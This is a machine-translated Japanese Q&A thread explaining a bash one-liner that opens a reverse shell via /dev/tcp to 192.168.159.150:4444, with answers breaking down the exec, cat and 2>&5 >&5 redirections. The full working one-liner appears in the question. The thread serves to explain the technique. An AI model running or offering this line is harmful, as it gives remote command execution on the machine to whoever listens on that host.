
私はセキュリティに関する調査を行っていますが、次のスニペットが Unix ベースの OS でどのように機能するのか疑問に思っています。
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
私は完全に認識しています何このコードはそれを実行します (つまり、ポート 4444 経由で 192.168.159.150 へのリバース シェルを確立します) が、これらのセクションが何をしているのかわかりません。
exec 5<>
cat <&5
2>&5 >&5
そして、一般的に、これがどのように組み合わさって、私が見ているシェルが生成されるのでしょうか。
どなたかこれを説明していただいたり、これを理解するための正しい方向を示していただくことは可能でしょうか?
ありがとう
答え1
簡単に説明すると:
exec 5<>
読み取りと書き込みの両方で新しいファイルハンドルを開き、名前を付けます5
cat <&5
新しく開かれたファイルハンドルから読み取っています
2>&5 >&5
2
は、ファイル ハンドル(stderr) とファイル ハンドル(stdout)の両方の出力を1
ファイル ハンドルにリダイレクトします5
。1
この場合、2 番目のリダイレクトでファイル ハンドル番号が指定されなかったため、 が暗黙的に指定されます。
答え2
質問の一部は回答されていますここ
しかし
- これは番号5の新しいファイル記述子を定義します。ちなみに0はSTDIN、1はSTDOUT、2はSTDERRファイル記述子です。
- TCP、IP 192.168.159.150、ポート 4444 経由で受信した情報をエコーします。
- STDERRとSTDOUTをファイルハンドラ5(ネットワーク)に送信する